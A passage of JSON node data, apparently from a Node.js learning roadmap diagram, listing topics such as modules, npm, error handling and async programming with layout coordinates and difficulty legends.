282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.169165402603,\n        \"y\": 178.7159927885748\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mbGFT6S7mL3bHHEZv0_s2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 287.76672552017453,\n        \"y\": 72.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 163,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 287.76672552017453,\n        \"y\": 72.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mhjswf17nhq075NTYV5gE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 301.76672552017453,\n        \"y\": -53.26957062917046\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CommonJS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 301.76672552017453,\n        \"y\": -53.26957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mKccfWOhC1Aj4VnaOqryA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 301.76672552017453,\n        \"y\": -0.2695706291704596\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ESM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 301.76672552017453,\n        \"y\": -0.2695706291704596\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EEnmOcDKPZzY_O1NwP_5j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 287.0448461352869,\n        \"y\": 144.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating & Importing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246\n      },\n      \"positionAbsolute\": {\n        \"x\": 287.0448461352869,\n        \"y\": 144.7159927885748\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PEGHvFT2Eg-1OyfhxYu22\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 287.0448461352869,\n        \"y\": 197.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"[global] keyword\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 246\n      },\n      \"positionAbsolute\": {\n        \"x\": 287.0448461352869,\n        \"y\": 197.7159927885748\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jQJ9aOKtg-O-GhWk5OgCK\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -116.45968546864998,\n        \"y\": 280.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"npm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -116.45968546864998,\n        \"y\": 280.7159927885748\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l24OMkPAEDnEDAVAMrMuG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -434.13327447982556,\n        \"y\": 272.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Global Installation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -434.13327447982556,\n        \"y\": 272.73042937082954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oYeux7PbveYaVwXRzAg5x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -434.13327447982556,\n        \"y\": 325.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Local Installation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -434.13327447982556,\n        \"y\": 325.73042937082954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W3YkN2Hc_-3WvvlmR6Kmv\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -432.13327447982556,\n        \"y\": 385.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Installing Packages\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 183\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -432.13327447982556,\n        \"y\": 385.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"bYBz12FUiJ1qLgdQSGyGK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.63327447982556,\n        \"y\": 433.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Updating Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.63327447982556,\n        \"y\": 433.73042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"64pgc7rcgboFcNYuOlX8e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.63327447982556,\n        \"y\": 485.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Running Scripts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.63327447982556,\n        \"y\": 485.73042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WvxCGVKLvTUVEHeOcUQPg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.63327447982556,\n        \"y\": 537.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"npm workspaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.63327447982556,\n        \"y\": 537.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Uh9hmEy7o1EJLg4E--ku2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.63327447982556,\n        \"y\": 589.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.63327447982556,\n        \"y\": 589.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dOlzIXBfAPmbY542lNOe6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": 352.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Semantic Versioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": 352.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t_kfKdNSKVBPYQ9zF9VqQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 284.04484613528683,\n        \"y\": 280.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Error Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 284.04484613528683,\n        \"y\": 280.7159927885748\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wg7KSpAPxjeFMxC6PBnHO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.36672552017444,\n        \"y\": 543.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JavaScript Errors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.36672552017444,\n        \"y\": 543.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"05YY-AhLKzn4Ypr4eow5E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.36672552017444,\n        \"y\": 384.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"System Errors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.36672552017444,\n        \"y\": 384.73042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wQ4i6_a1EFk9HHc6Sll-3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.36672552017444,\n        \"y\": 437.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Specified Errors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.36672552017444,\n        \"y\": 437.73042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"do-tdCUfDtiZHBg4ZO3dC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 293.36672552017444,\n        \"y\": 490.73042937082954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Assertion Errors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.36672552017444,\n        \"y\": 490.73042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M0puvsEXH3aniCw0gPjVd\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 332.36672552017444,\n        \"y\": 603.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Types of Errors\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 332.36672552017444,\n        \"y\": 603.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"uzOmaTZrHhBxx5plb345Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.86672552017444,\n        \"y\": 652.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Uncaught Exceptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.86672552017444,\n        \"y\": 652.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3MpxV23lNpuKg0--e_9m7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.86672552017444,\n        \"y\": 705.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Handling Async Errors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.86672552017444,\n        \"y\": 705.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wIieXdFtoZWJ-ht8qqWbp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.86672552017444,\n        \"y\": 758.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Callstack / Stack Trace\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.86672552017444,\n        \"y\": 758.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XEGTeGWw05xWYOfUo3POE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.86672552017444,\n        \"y\": 811.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using Debugger\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.86672552017444,\n        \"y\": 811.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YdpJ-DUo8Q5ATRmF4s4YS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -86.45968546864998,\n        \"y\": 193.7159927885748\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"npx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -86.45968546864998,\n        \"y\": 193.7159927885748\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uE7fvHSTSdebMf5RsNyaY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 19.36672552017444,\n        \"y\": 575.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Async Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wEK77A6MPQBCBUSJKMiaY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 19.36672552017444,\n        \"y\": 575.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QcOqhuKWOUUUBSiu5Oelv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 438.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Promises\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 438.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a26qNCyMcT5GsVzxeNCLk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 491.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"async/await\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 491.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GwInWcbQn18PnzKGXzmln\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 544.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Callbacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 544.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W2Dbj4Y78Bgdx7og5xkrg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 597.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"setTimeout\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 597.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T5I-mFKK6bKzXrzkECI0P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -191.63327447982556,\n        \"y\": 650.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"setInterval\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.63327447982556,\n        \"y\": 650.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n   